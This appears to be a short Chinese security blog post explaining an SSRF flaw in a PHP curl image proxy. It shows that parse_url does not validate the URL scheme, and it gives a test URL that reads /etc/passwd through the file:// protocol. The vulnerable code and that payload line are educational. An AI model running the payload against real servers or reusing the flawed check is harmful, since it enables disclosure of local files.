今天看到一段代码,如下,主要是使用curl发起网络请求然后返回客户端,这里我请求加载图片。
<?php
$URL = $_GET['URL'];
$info = parse_url($URL);
if($info['host'] != '192.168.224.130')
{
echo '目标网址不合法';
exit;
}
$CH = curl_init();
curl_setopt($CH, CURLOPT_URL, $URL);
curl_setopt($CH, CURLOPT_HEADER, false);
curl_setopt($CH, CURLOPT_RETURNTRANSFER, true);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($CH, CURLOPT_FOLLOWLOCATION, true);// 允许302跳转,默认不开启
$RES = curl_exec($CH);
header('CONTENT-TYPE: IMAGE/PNG');// 设置CONTENT-TYPE
curl_close($CH) ;
echo $RES;
?>
首先,这里parse_url只是负责字符串解析,并不判断协议真伪,如以下例子。
<?php
$url = 'abc://www.baidu.com/test';
$info = parse_url($url);
var_dump($info);
?>
执行后结果如下:
array(3) {
["scheme"]=>
string(3) "abc"
["host"]=>
string(13) "www.baidu.com"
["path"]=>
string(5) "/test"
}
其次,curl支持file伪协议,利用file伪协议可以获取本地文件系统直接上攻击测试例子:
http://192.168.224.130/1.php?URL=file://192.168.224.130/etc/passwd
php curl识别出来这是个file协议,他会忽略192.168.224.130,而是直接读取文件/etc/passwd。
reference:
1.https://love.ranshy.com/file协议可能会引发的漏洞
2.https://zhuanlan.zhihu.com/p/27898202
3.http://vinc.top/2016/11/22/【ssrf】绕过姿势总结/
4.http://www.cnblogs.com/LittleHann/p/3665062.html